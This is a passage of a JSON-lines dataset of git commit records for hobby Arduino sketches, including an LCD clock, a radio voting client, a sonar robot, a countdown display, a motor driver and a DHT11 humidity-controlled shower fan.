Serial.println(pitch);\n\n rollAdjust = getAdjustment(ROLL_PINS, rollAdjust);\n roll = getDirection(roll, rollAdjust, ROLL_STICK);\n Serial.println(roll);\n\n yawAdjust = getAdjustment(YAW_PINS, yawAdjust);\n yaw = getDirection(yaw, yawAdjust, YAW_STICK);\n Serial.println(yaw);\n\n throttle = getThrottle(PIN_THROTTLE);\n Serial.println(throttle);\n}\n\nvoid updateOps()\n{\n uint8_t ops = 0;\n uint8_t index = 0;\n\n\n for (index = 0; index < OPS; index++)\n {\n if (!opPin[index]) \/\/ if the pin is zero, skip\n continue;\n\n if (opState[index] > 0) \/\/ check for debounce on current pin\n {\n opState[index]--; \/\/ decrement debounce counter for current state\n }\n else \/\/ if not we can check to see if it's triggered\n {\n opState[index] = digitalRead(opPin[index]) ? DELAY_OP : 0;\n ops++;\n }\n }\n\n if (ops > 0) \/\/ if we have at least one operation to send\n {\n Serial.println(ENABLE);\n\n for (index = 0; index < OPS; index++)\n {\n if (opState[index] == DELAY_OP)\n Serial.println(index); \/\/ print it\n }\n }\n\n Serial.println(DISABLE);\n}\n\n\n\/\/\/\/ built-in arduino functions\n\/\/\n\nvoid setup()\n{\n setupSerial();\n\n setupState();\n setupHelm();\n setupOps();\n\n delay(DELAY_START);\n}\n\nvoid loop()\n{\n updateState();\n\n if (state)\n {\n updateHelm();\n \/\/updateOps();\n }\n\n delay(DELAY_LOOP);\n\n Serial.flush();\n}\n\r\n","returncode":0,"stderr":"","license":"agpl-3.0","lang":"Arduino"} {"commit":"b9f8decba9ccd34c9eec19f653279ea98608785a","subject":"Adding a simple LCD\/RTC (DS3231) clock and temperature display example sketch.","message":"Adding a simple LCD\/RTC (DS3231) clock and temperature display example sketch.\n","repos":"SinishaDjukic\/Meshwork,mikaelpatel\/Cosa,kc9jud\/Cosa,SinishaDjukic\/Meshwork,kc9jud\/Cosa,SinishaDjukic\/Meshwork,jeditekunum\/Cosa,SinishaDjukic\/Meshwork,dansut\/Cosa,mikaelpatel\/Cosa,jeditekunum\/Cosa,rrobinet\/Cosa,mikaelpatel\/Cosa,kc9jud\/Cosa,mikaelpatel\/Cosa,jeditekunum\/Cosa,dansut\/Cosa,rrobinet\/Cosa,jeditekunum\/Cosa,rrobinet\/Cosa,dansut\/Cosa,kc9jud\/Cosa,dansut\/Cosa,rrobinet\/Cosa","old_file":"examples\/Sandbox\/CosaLCDclock\/CosaLCDclock.ino","new_file":"examples\/Sandbox\/CosaLCDclock\/CosaLCDclock.ino","new_contents":"\/**\n * @file CosaLCDclock.ino\n * @version 1.0\n *\n * @section License\n * Copyright (C) 2013, Mikael Patel\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n * \n * @section Description\n * Cosa LCD demo with RTC.\n * \n * This file is part of the Arduino Che Cosa project.\n *\/\n\n#include \"Cosa\/Watchdog.hh\"\n#include \"Cosa\/IOStream.hh\"\n#include \"Cosa\/LCD\/Driver\/HD44780.hh\"\n#include \"Cosa\/TWI\/Driver\/DS3231.hh\"\n\n\/\/ Remove comment to set real-time clock (update below)\n\/\/ #define RTC_SET_TIME\nDS3231 rtc;\n\n\/\/ Select the access port for the LCD\n\/\/ HD44780::Port port;\n\/\/ HD44780::MJKDZ port;\nHD44780::DFRobot port;\nHD44780 lcd(&port);\nIOStream console(&lcd);\n\nvoid setup()\n{\n Watchdog::begin();\n lcd.begin();\n console << PSTR(\"CosaLCDclock: started\");\n\n#ifdef RTC_SET_TIME\n time_t now;\n now.seconds = 0x00;\n now.minutes = 0x50;\n now.hours = 0x20;\n now.day = 0x01;\n now.date = 0x21;\n now.month = 0x07;\n now.year = 0x13;\n rtc.set_time(now);\n#endif\n \n SLEEP(2);\n}\n\nvoid loop()\n{\n \/\/ Read clock and temperature\n time_t now;\n rtc.get_time(now);\n int16_t temp = rtc.get_temperature();\n\n \/\/ Update the LCD with the reading\n console << clear;\n\n \/\/ First line with date and temperature\n console << PSTR(\"20\") << bcd << now.year << '-'\n\t << bcd << now.month << '-'\n\t << bcd << now.date;\n console << PSTR(\" \");\n console << (temp >> 2) << PSTR(\" C\");\n\n \/\/ Second line with time\n console << bcd << now.hours << ':'\n\t << bcd << now.minutes << ':'\n\t << bcd << now.seconds;\n SLEEP(1);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Sandbox\/CosaLCDclock\/CosaLCDclock.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"a06942aef9b61fdae0cf56d7b60e63aefe74bb8d","subject":"added voteino_client program","message":"added voteino_client program\n","repos":"silps\/voteino,silps\/voteino,silps\/voteino,silps\/voteino","old_file":"voteino_client.ino","new_file":"voteino_client.ino","new_contents":"\/**\n * Arduino voting system client\n *\n * Pins:\n * Hardware SPI:\n * MISO -> 12\n * MOSI -> 11\n * SCK -> 13\n *\n * Configurable:\n * CE -> 8\n * CSN -> 7\n *\n * Note: To see best case latency comment out all Serial.println\n *\/\n\n#include <SPI.h>\n#include <Mirf.h>\n#include <nRF24L01.h>\n#include <MirfHardwareSpiDriver.h>\n\nvoid setup() {\n Serial.begin( 9600 );\n \/* Get the instance of the Mirf object *\/\n Mirf.spi = &MirfHardwareSpi;\n \n \/* Setup the SPI pins CE and CSN *\/\n Mirf.cePin = 8;\n Mirf.csnPin = 7;\n \n \/* Set the payload length, 1 data packet size (5 bytes)\n * IMPORTANT!: payload on client and server must be the same\n *\/\n Mirf.payload = sizeof( byte ) * 5;\n \n \/* Set transmission channel\n * IMPORTANT!: make sure channel is legal in your area\n *\/\n Mirf.channel = 1;\n \n \/* Initialize SPI communication to tranceiver *\/\n Mirf.init();\n \/* Set our device address *\/\n Mirf.setRADDR( (byte *) \"voting_client\" );\n \/* Set server address *\/\n Mirf.setTADDR( (byte *) \"voting_server\" );\n \/* Configure and power up tranceiver *\/\n Mirf.config();\n \n \/* Initialize button *\/\n pinMode( 2, INPUT );\n digitalWrite( 2, HIGH );\n Serial.println( \"Beginning ... \" );\n}\n\nvoid loop() {\n \/* Timeout for receiving *\/\n long time = millis();\n \/* Transmission data packet *\/\n byte data[Mirf.payload] = ['s', 'i', 'l', 'b', 'o'];\n \n \/* Wait for button to be pressed, TODO: implement interrupt *\/\n while ( digitalRead( 2 ) == HIGH );\n \n \/* Send the data packet *\/\n Mirf.send(data);\n \n \/* While data is still transmitted *\/\n while ( Mirf.isSending() );\n Serial.println( \"Finished sending\" );\n delay( 10 );\n \n \/* While we are receiving the data packet *\/\n while ( !Mirf.dataReady() ) {\n \/* Get the byte from the tranceiver *\/\n Mirf.getData( data );\n \/* TODO: do something useful *\/\n Serial.println( (char) data );\n \n \/* Timeout when data packet was not received within 1 second *\/\n if ( ( millis() - time ) > 1000 ) {\n Serial.println(\"Timeout on response from server!\");\n return;\n }\n }\n \n \/* When transmission was successful *\/\n delay(1000);\n} \n \n \n \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'voteino_client.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ed1e5dad7aaa3b74b5902e7ff273a10502b34fca","subject":"Initial commit","message":"Initial commit\n","repos":"theapi\/magbot,theapi\/magbot","old_file":"magbot_test\/magbot_test.ino","new_file":"magbot_test\/magbot_test.ino","new_contents":"\/**\n HC-SR04 Ultrasonic Range Finder attached to the servo.\n Two motors attached to the motor shield.\n *\/\n\n#include <NewPing.h> \/\/ From https:\/\/code.google.com\/p\/arduino-new-ping\/\n#include <Servo.h>\n\n\/\/ Motor attached to channel A:\nconst byte motorA_direction = 12;\nconst byte motorA_pwm = 3;\nconst byte motorA_brake = 9;\nconst byte motorA_sensor = A0;\n\/\/ Motor attached to channel B:\nconst byte motorB_direction = 13;\nconst byte motorB_pwm = 11;\nconst byte motorB_brake = 8;\nconst byte motorB_sensor = A1;\n\n\/\/ Sonar configuration\nconst byte sonar_trigger = 7; \/\/ Arduino pin tied to trigger pin on the ultrasonic sensor.\nconst byte sonar_echo = 4; \/\/ Arduino pin tied to echo pin on the ultrasonic sensor.\nconst int sonar_distance = 80; \/\/ Maximum distance we want to ping for (in centimeters). Maximum sensor distance is rated at 400-500cm.\nconst byte sonar_delay = 50; \/\/ Number of milliseconds to wait before next ping\nunsigned long sonar_last = 0; \/\/ When the last ping happened.\nNewPing sonar(sonar_trigger, sonar_echo, sonar_distance); \/\/ NewPing setup of pins and maximum distance.\n\n\/\/ Servo configuration\nconst byte servo_pin = 6;\nbyte servo_sweep_direction = 0; \/\/ The current direction the servo is sweeping; 0 or 1\nconst byte servo_delay = 25; \/\/ Number of milliseconds to wait before next move\nunsigned long servo_last = 0; \/\/ When the last move happened.\nServo servo; \/\/ create servo object to control a servo\n\nunsigned long millis_now;\n\nvoid setup() {\n Serial.begin(9600); \/\/ Open serial monitor at 9600 baud to see ping results.\n \n servo.attach(servo_pin); \/\/ attaches the sonar servo to the servo object \n \n \/\/ Setup Channel A\n pinMode(motorA_direction, OUTPUT); \/\/ Initiates motor pin for channel A\n pinMode(motorA_brake, OUTPUT); \/\/ Initiates break pin for channel A\n\n \/\/ Setup Channel B\n pinMode(motorB_direction, OUTPUT); \/\/ Initiates motor pin for channel B\n pinMode(motorB_brake, OUTPUT); \/\/ Initiates break pin for channel B\n \n \/\/ Ensure the brakes are off\n digitalWrite(motorA_brake, LOW); \/\/ Disengage the Brake for Channel A\n digitalWrite(motorB_brake, LOW); \/\/ Disengage the Brake for Channel B\n \n \n \/\/ Turn in place \n digitalWrite(motorA_direction, HIGH); \/\/ Channel A forward\n digitalWrite(motorB_direction, LOW); \/\/ Channel B backward\n \n analogWrite(motorA_pwm, 255); \/\/ Channel A at max speed \n analogWrite(motorB_pwm, 255); \/\/ Channel B at max speed\n}\n\nvoid loop() {\n millis_now = millis();\n \n \/\/ Check to see if it's time for another ping.\n if (millis_now - sonar_last > sonar_delay) {\n \/\/ Remeber when this ping was done, so we know when to do the next one.\n sonar_last = millis_now;\n \n unsigned int cm = sonar.ping_cm(); \/\/ Send a ping, get ping time in microseconds (uS).\n Serial.print(\"Ping: \");\n Serial.print(cm);\n Serial.println(\"cm\");\n }\n \n \/\/ Check to see if it's time for another soanr servo move.\n if (millis_now - servo_last > servo_delay) {\n \/\/ Remember when this move was done, so we know when to do the next one.\n servo_last = millis_now;\n \n \/\/ Sweep\n \/\/ Get the last angle the servo was set to.\n int servo_pos = servo.read();\n if (servo_sweep_direction == 0) {\n servo_pos++; \/\/ Add 1 degree to the servo's position.\n } else {\n servo_pos--; \/\/ Remove 1 degree to the servo's position.\n }\n \n \/\/ At the end of the sweep, change directions for the next move.\n if (servo_pos == 170) {\n servo_sweep_direction = 1;\n } else if (servo_pos == 10) {\n servo_sweep_direction = 0;\n }\n servo.write(servo_pos); \n }\n \n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'magbot_test\/magbot_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a0641941c2f80f8c4e6aa748b201d4bf12389403","subject":"added code for serial controlled, 30 second, 8 segment LED countdown display","message":"added code for serial controlled, 30 second, 8 segment LED countdown display\n","repos":"DefProc\/mfuklc,DefProc\/mfuklc,DefProc\/mfuklc","old_file":"range\/arduino\/led_8seg_countdown\/led_8seg_countdown.ino","new_file":"range\/arduino\/led_8seg_countdown\/led_8seg_countdown.ino","new_contents":"\/* Serial controlled countdown timer for bit.ly\/big-7-seg displays \n \n Accepted input\n H - display accepted inputs\n S - start\n R - reset the time (call before Start)\n X - stop the current coutdown\n Z - zero the timer\n \n*\/\n\n#define NOE 9 \/\/pwm\n#define LE 8 \/\/latch\n#define CLK 10 \/\/clock\n#define SDO 11 \/\/serial data\n#define LED 13 \/\/indicator led on arduino\n\n#define BAUD 9600\n#define TIMER 300 \/\/ 30.0 seconds\n#define TIMER_RESOLUTION 10 \/\/ 10 ms = 0.01 sec\n#define HOLD_TIME 1000 \/\/ ms\n#define DIGITS 3\n#define DECIMAL_PLACES 1\n\nbyte segments[] = \n { \n 0b11111100, \/\/0\n 0b01100000, \/\/1\n 0b11011010, \/\/2\n 0b11110010, \/\/3\n 0b01100110, \/\/4\n 0b10110110, \/\/5\n 0b10111110, \/\/6\n 0b11100000, \/\/7\n 0b11111110, \/\/8\n 0b11100110, \/\/9\n 0b00000001, \/\/dot\n };\n \nboolean run_flag = false;\nunsigned long counter = 0UL;\n\nvoid setup() {\n Serial.begin(BAUD);\n pinMode(LED,OUTPUT);\n pinMode(LE,OUTPUT);\n analogWrite(NOE,LOW);\n pinMode(CLK,OUTPUT);\n pinMode(SDO,OUTPUT);\n\n digitalWrite(LE,false);\n \n Serial.println(F(\"Coutdown Timer\"));\n Serial.println(F(\"==============\"));\n \n displayTime(0);\n}\n\nvoid loop() {\n \/\/ if there's any serial available, read it:\n while (Serial.available() > 0) {\n char character = Serial.read();\n \n if (character == 'h' || character == 'H') {\n Serial.println(F(\"Accepted input\"));\n Serial.println(F(\" H - display this message\"));\n Serial.println(F(\" S - start\"));\n Serial.println(F(\" R - reset the time (call before Start)\"));\n Serial.println(F(\" X - stop the current coutdown\"));\n Serial.println(F(\" Z - zero the timer\"));\n }\n \n if (character == 'S' || character == 's') {\n displayTime(TIMER);\n run_flag = true;\n counter = millis();\n }\n \n if (character == 'r' || character == 'R') {\n run_flag = false;\n displayTime(TIMER);\n }\n \n if (character == 'x' || character == 'X') {\n run_flag = false;\n }\n\n if (character == 'z' || character == '|') {\n run_flag = false;\n displayTime(0);\n }\n }\n \n if (run_flag == true) {\n if (millis() - counter < TIMER * 100) {\n int time_to_display = TIMER - ((millis() - counter)\/100);\n displayTime(time_to_display);\n \/\/Serial.println(time_to_display);\n } else {\n displayTime(0);\n run_flag = false;\n }\n }\n}\n\nvoid displayTime(int number) {\n digitalWrite(LE,LOW);\n \/\/ calculate each digit for sending\n for (byte i=0; i<DIGITS; i++) {\n byte output = number % 10;\n if (i == DECIMAL_PLACES) {\n \/\/ add decimal place if specified digit\n shiftOut(SDO, CLK, LSBFIRST, segments[output] | segments[10]);\n } else {\n shiftOut(SDO, CLK, LSBFIRST, segments[output]);\n }\n number = number \/ 10;\n }\n digitalWrite(LE,HIGH);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'range\/arduino\/led_8seg_countdown\/led_8seg_countdown.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1d18a5e9d52fea2383febda18e5afcafb3ce0bd5","subject":"EBPMK2-Game.ino","message":"EBPMK2-Game.ino\n\nAdded ino file.","repos":"trevortomesh\/EBPMk2-Game","old_file":"EBPMK2-Game.ino","new_file":"EBPMK2-Game.ino","new_contents":"\/\/\/\n\/\/\/ @mainpage\tLCD_Joystick\n\/\/\/\n\/\/\/ @details\tJoystick controlled cursor\n\/\/\/ @n\n\/\/\/ @n @a\t\tDeveloped with [embedXcode+](http:\/\/embedXcode.weebly.com)\n\/\/\/\n\/\/\/ @author\t\tRei Vilo\n\/\/\/ @author\t\thttp:\/\/embeddedcomputing.weebly.com\n\/\/\/ @date\t\t11\/12\/2013 10:19\n\/\/\/ @version\t101\n\/\/\/\n\/\/\/ @copyright\t(c) Rei Vilo, 2013\n\/\/\/ @copyright\tCC = BY SA NC\n\/\/\/\n\/\/\/ @see\t\tReadMe.txt for references\n\/\/\/\n\n\n\/\/\/\n\/\/\/ @file\t\tLCD_Joystick.ino\n\/\/\/ @brief\t\tMain sketch\n\/\/\/\n\/\/\/ @details\tJoystick controlled cursor\n\/\/\/ @n @a\t\tDeveloped with [embedXcode+](http:\/\/embedXcode.weebly.com)\n\/\/\/\n\/\/\/ @author\t\tRei Vilo\n\/\/\/ @author\t\thttp:\/\/embeddedcomputing.weebly.com\n\/\/\/ @date\t\t11\/12\/2013 10:19\n\/\/\/ @version\t101\n\/\/\/\n\/\/\/ @copyright\t(c) Rei Vilo, 2013\n\/\/\/ @copyright\tCC = BY SA NC\n\/\/\/\n\/\/\/ @see\t\tReadMe.txt for references\n\/\/\/ @n\n\/\/\/\n\n\n\/\/ Core library for code-sense\n#if defined(ENERGIA) \/\/ LaunchPad MSP430, Stellaris and Tiva, Experimeter Board FR5739 specific\n#include \"Energia.h\"\n#else \/\/ error\n#error Platform not defined\n#endif\n\n\/\/ Prototypes\n\n\n\/\/ Include application, user and local libraries\n#include <SPI.h>\n\n#include <LCD_screen.h>\n#include <LCD_screen_font.h>\n#include <LCD_utilities.h>\n#include <Screen_HX8353E.h>\n#include <Terminal12e.h>\n#include <Terminal6e.h>\n#include <Terminal8e.h>\nScreen_HX8353E myScreen;\n\n\n\/\/ Define variables and constants\n#define joystickX 2\n#define joystickY 26\nuint16_t x, y, x00, y00;\nuint16_t colour;\nuint32_t z;\n\n\n\/\/ Add setup code\nvoid setup()\n{\n \/\/ By default MSP432 has analogRead() set to 10 bits. \n \/\/ This Sketch assumes 12 bits. Uncomment to line below to set analogRead()\n \/\/ to 12 bit resolution for MSP432.\n \/\/analogReadResolution(12);\n\n myScreen.begin();\n x00 = 0;\n y00 = 0;\n \n}\n\n\/\/ Add loop code\nvoid loop()\n{\n x = map(analogRead(joystickX), 0, 4096, 0, 128);\n y = map(analogRead(joystickY), 0, 4096, 128, 0);\n if (x < 1) x = 1;\n if (x > 126) x = 126;\n if (y < 1) y = 1;\n if (y > 126) y = 126;\n \n if ((x00 != x) || (y00 != y)) {\n z = (uint32_t)((x-64)*(x-64)+(y-64)*(y-64)) >> 8;\n if (z > 4) colour = redColour;\n else if (z > 1) colour = yellowColour;\n else colour = greenColour;\n \n myScreen.dRectangle(x00-1, y00-1, 3, 3, blackColour);\n myScreen.dRectangle(x-1, y-1, 3, 3, colour);\n x00 = x;\n y00 = y;\n }\n \n \n myScreen.gText(0, myScreen.screenSizeY()-myScreen.fontSizeY(),\n \"x=\" + i32toa((int16_t)x-64, 10, 1, 6) +\" y=\" + i32toa(64-(int16_t)y, 10, 1, 6),\n colour);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'EBPMK2-Game.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"7727ffa465d58512a4180d26eb225f473aaf8c1a","subject":"added ESP32 protobadge test","message":"added ESP32 protobadge test\n","repos":"TaylorHokanson\/CAAint","old_file":"Arduino\/ESP32_badge_RGB-OLED_test2.ino","new_file":"Arduino\/ESP32_badge_RGB-OLED_test2.ino","new_contents":"#include <Adafruit_NeoPixel.h>\n#ifdef __AVR__\n #include <avr\/power.h>\n#endif\n\n#define LEDPIN 27\n\n#include <U8x8lib.h>\n\nconst int btn_up = 34;\nconst int btn_dn = 14;\nconst int btn_rt = 12;\nconst int btn_lt = 13;\nconst int btn_enter = 35;\n\n\/\/ the OLED used\nU8X8_SSD1306_128X64_NONAME_SW_I2C u8x8(\/* clock=*\/ 15, \/* data=*\/ 4, \/* reset=*\/ 16);\n\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(3, LEDPIN, NEO_GRB + NEO_KHZ800);\n\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\nstrip.begin();\nstrip.setBrightness(10);\n strip.show();\n\n pinMode(btn_up, INPUT);\n pinMode(btn_dn, INPUT_PULLUP);\n pinMode(btn_lt, INPUT_PULLUP);\n pinMode(btn_rt, INPUT_PULLUP);\n pinMode(btn_enter, INPUT);\n\n u8x8.begin();\n u8x8.setFont(u8x8_font_chroma48medium8_r);\n u8x8.setFlipMode(1);\n}\n\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\/\/rainbowCycle(20);\n\/\/ if (digitalRead(btn_dn) == LOW)\n \/\/ { \/\/ Check if button has been pressed\n \/\/ u8x8.drawString(0, 1, \"Down Button\");\n \/\/ }\n if (digitalRead(btn_lt) == LOW)\n { \/\/ Check if button has been pressed\n u8x8.drawString(0, 1, \"Left Button\");\n }\n else if (digitalRead(btn_rt) == LOW)\n { \/\/ Check if button has been pressed\n u8x8.drawString(0, 1, \"Right Button\");\n }\n\/\/ else if (digitalRead(btn_enter) == LOW)\n\/\/ { \/\/ Check if button has been pressed\n\/\/ u8x8.drawString(0, 1, \"Enter Button\");\n\/\/ }\n else {\n u8x8.drawString(0,1,\"no buttons\");\n }\nu8x8.drawString(0, 0, \"Button Checker\");\n}\n\nvoid rainbowCycle(uint8_t wait) {\n uint16_t i, j;\n\n for(j=0; j<256*5; j++) { \/\/ 5 cycles of all colors on wheel\n for(i=0; i< strip.numPixels(); i++) {\n strip.setPixelColor(i, Wheel(((i * 256 \/ strip.numPixels()) + j) & 255));\n }\n strip.show();\n delay(wait);\n }\n}\n\nuint32_t Wheel(byte WheelPos) {\n WheelPos = 255 - WheelPos;\n if(WheelPos < 85) {\n return strip.Color(255 - WheelPos * 3, 0, WheelPos * 3);\n }\n if(WheelPos < 170) {\n WheelPos -= 85;\n return strip.Color(0, WheelPos * 3, 255 - WheelPos * 3);\n }\n WheelPos -= 170;\n return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/ESP32_badge_RGB-OLED_test2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4359a31772ecaaff77167fc654ad570d12b919c9","subject":"New Example","message":"New Example\n\ndemo showing pinDefEncoder","repos":"philbowles\/esparto,philbowles\/esparto,philbowles\/esparto,philbowles\/esparto","old_file":"examples\/ESPArto_pinDefEncoder\/ESPArto_pinDefEncoder.ino","new_file":"examples\/ESPArto_pinDefEncoder\/ESPArto_pinDefEncoder.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/philbowles\/esparto.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"ed4f09041adff9877746880dc29057a3db2daf3f","subject":"\u4f7f\u7528l293d\u9a71\u52a8\u4e00\u4e2a\u9a6c\u8fbe","message":"\u4f7f\u7528l293d\u9a71\u52a8\u4e00\u4e2a\u9a6c\u8fbe\n","repos":"omnbmh\/pi6x,omnbmh\/pi6x,omnbmh\/pi6x,omnbmh\/pi6x","old_file":"hardware\/arduino_uno\/l293d-one-motor\/l293d-one-motor.ino","new_file":"hardware\/arduino_uno\/l293d-one-motor\/l293d-one-motor.ino","new_contents":"\/*\n* \u56db\u9a71\u8f66\u4ee3\u7801 \uff0d\u5355\u7535\u673a\n*\/\nint enablePin = 11; \/\/ pwm\nint in1Pin = 8;\nint in2Pin =9;\n\n\/\/ \u901f\u5ea6\nint speed = 234;\n\nvoid setMotor() {\n analogWrite(enablePin, speed);\n \/\/digitalWrite(enable1Pin,HIGH);\n digitalWrite(in1Pin, HIGH);\n digitalWrite(in2Pin, LOW);\n}\n\nvoid setup() {\n pinMode(in1Pin, OUTPUT);\n pinMode(in2Pin, OUTPUT);\n pinMode(enablePin, OUTPUT);\n \/\/ light led\n pinMode(13, OUTPUT);\n}\n\nvoid loop() {\n \/\/ \u8bbe\u7f6e \u7535\u673a\u7684\u901f\u5ea6 \u548c \u65b9\u5411\n setMotor();\n \/\/ light led\n digitalWrite(13, HIGH);\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'hardware\/arduino_uno\/l293d-one-motor\/l293d-one-motor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b86229d9d43891cbf1e613110cbb544267169f94","subject":"Added version that works for DHT11 sensor","message":"Added version that works for DHT11 sensor\n\nI tried to make the code so it can be made for DHT22 again as well.","repos":"mjholtkamp\/shofanduino,mjholtkamp\/shofanduino,mjholtkamp\/shofanduino","old_file":"shofanduino2_dht11\/shofanduino2_dht11.ino","new_file":"shofanduino2_dht11\/shofanduino2_dht11.ino","new_contents":"\/* Shofanduino 2 DHT11, a shower fan arduino project with a digital humidity sensor\n *\n * Copyright (c) 2013, Michiel Holtkamp, see attached LICENSE file for licensing.\n *\n * I used a library from http:\/\/playground.arduino.cc\/main\/DHT11Lib\n *\n * For more information, see README\n *\/\n\n#include <dht11.h> \/\/ see above for URLs\n#include <runningmedian.h>\n\n#define DHT11_PIN 23\n\n\/\/ consts for controlling relays\nconst int K1 = 5;\nconst int K2 = 6;\nconst int milliseconds_switch_delay = 100;\nconst int NormallyConnected = HIGH;\nconst int NormallyOpen = LOW;\ntypedef enum {FAN_OFF, FAN_NOCHANGE, FAN_ON};\n\n\/\/ DHT consts\/variables\ndht11 DHT11;\n\n\/\/ consts\/variables for humidity sensor and averages etc.\nconst int sensorPin = A0; \/\/ select the input pin for the potentiometer\nconst int milliseconds_sleep = 5000;\nconst float min_humidity_diff= 10.0; \/\/ RH %\nconst float max_humidity = 100.0; \/\/ needed because we add min_humidity_diff\n\nRunningMedian samples = RunningMedian(3);\n\nfloat thresholdLow = 0.0;\nfloat thresholdHigh = 0.0;\nfloat env_min = 0.0;\nfloat env_max = 0.0;\nfloat humidity = 0.0;\nfloat temperature = 0.0;\nfloat on_off = 0;\n\n\/\/ variables for decay\n \/\/ number of seconds after which the difference between the humidity and the max envelope should have been halved.\nconst float p_halflife_max = 604800.0;\n\/\/const float p_halflife_min = 86400.0; \/\/ same for the min envelope. This is shorter because it needs to change faster.\nconst float p_halflife_min = 43200.0; \/\/ same for the min envelope. This is shorter because it needs to change faster.\nfloat env_max_decay = 0.0;\nfloat env_min_decay = 0.0;\n\n\/\/ variables to decide the state of the fan\nint state = FAN_OFF; \/\/ action to take, based on sensor reading\n\nvoid getValues() {\n \/\/ The sensor can only be read from every 1-2s, and requires a minimum\n \/\/ 2s warm-up after power-on.\n delay(milliseconds_sleep);\n\n#ifdef USE_DHT22\n DHT22_ERROR_t errorCode = myDHT22.readData();\n humidity = myDHT22.getHumidity();\n temperature = myDHT22.getTemperatureC();\n#else\n int errorCode = DHT11.read(DHT11_PIN);\n humidity = DHT11.humidity;\n temperature = DHT11.temperature;\n#endif\n\n \/\/ clamp humidity\n humidity = max(humidity, 0);\n humidity = min(humidity, 100);\n samples.add(humidity);\n humidity = samples.getMedian();\n \n switch(errorCode) {\n#ifdef USE_DHT22\n case DHT_ERROR_NONE:\n break;\n case DHT_ERROR_CHECKSUM:\n Serial.print(\"E: checksum \");\n Serial.print(myDHT22._lastCheckSum);\n Serial.print(\" != \");\n Serial.print(myDHT22._lastExpectedCheckSum);\n Serial.print(\". \");\n Serial.print(temperature);\n Serial.print(\"C \");\n Serial.print(humidity);\n Serial.println(\"%. Are you really sure you set the clock to 8Mhz?\");\n break;\n case DHT_BUS_HUNG:\n Serial.println(\"E: BUS Hung\");\n break;\n case DHT_ERROR_NOT_PRESENT:\n Serial.println(\"E: Sensor not found\");\n break;\n case DHT_ERROR_ACK_TOO_LONG:\n Serial.println(\"E: ACK time out\");\n break;\n case DHT_ERROR_SYNC_TIMEOUT:\n Serial.println(\"E: Sync Timeout\");\n break;\n case DHT_ERROR_DATA_TIMEOUT:\n Serial.println(\"E: Data Timeout\");\n break;\n case DHT_ERROR_TOOQUICK:\n Serial.println(\"E: Polled to quick\");\n break; \n#else\n case DHTLIB_OK:\n break;\n case DHTLIB_ERROR_CHECKSUM:\n Serial.println(\"E: Checksum error\");\n break;\n case DHTLIB_ERROR_TIMEOUT:\n Serial.println(\"E: timeout\");\n break;\n default:\n Serial.println(\"E: unknown error\");\n break;\n#endif\n }\n}\n\nvoid setup() {\n Serial.begin(9600);\n\n \/\/ set relays to normally connected\n pinMode(K1, OUTPUT);\n pinMode(K2, OUTPUT);\n digitalWrite(K1, NormallyConnected);\n digitalWrite(K2, NormallyConnected);\n\n Serial.println(\"DHT11 temperature\/humidity. Did you set the clock to 8Mhz?\");\n\n \/\/ initialize sensor\n pinMode(sensorPin, INPUT);\n getValues();\n env_min = humidity;\n env_max = humidity + min_humidity_diff;\n env_max = min(env_max, max_humidity);\n \n \/\/ calculate decay\n float t = milliseconds_sleep \/ 1000.0f;\n\n \/\/ calculate what would happen after one step, to unit value (1.0)\n \/\/ the result is the scale factor we can apply to the envelope max\/min\n env_max_decay = 1.0f * pow(2, -t \/ p_halflife_max);\n env_min_decay = 1.0f * pow(2, -t \/ p_halflife_min);\n}\n\nvoid loop() {\n getValues();\n\n \/*\n * Calculate limits\n *\/\n \n \/\/ clamp the envelope min\/max, decay otherwise\n if (env_min > humidity) {\n env_min -= (env_min - humidity) * 0.51;\n } else {\n \/\/ this actually decays the difference between humidity\n \/\/ and env_min, so this means env_min goes up!\n env_min = humidity - (humidity - env_min) * env_min_decay;\n }\n if (env_max < humidity) {\n \/\/ add little over a half of the difference\n \/\/ to prevent very large changes because of\n \/\/ salt and pepper noise.\n env_max += (humidity - env_max) * 0.51;\n } else {\n env_max = humidity + (env_max - humidity) * env_max_decay;\n }\n \n \/\/ New thresholds based on the envelope values. We\n \/\/ want the fan to turn on pretty quickly, but we don't\n \/\/ want it to turn off quickly. This explains the difference\n \/\/ in factors between low and high.\n thresholdLow = env_min + (env_max - env_min) \/ 8.0f;\n thresholdHigh = env_min + (env_max - env_min) \/ 2.0f;\n\n \/*\n * Check state\n *\/\n int new_state = FAN_NOCHANGE;\n if (humidity < thresholdLow) {\n new_state = FAN_OFF;\n } else if (humidity > thresholdHigh) {\n new_state = FAN_ON;\n }\n\n if (new_state != state) {\n \/\/ switch the relays!\n switch (new_state) {\n case FAN_OFF:\n \/\/ because we don't know the 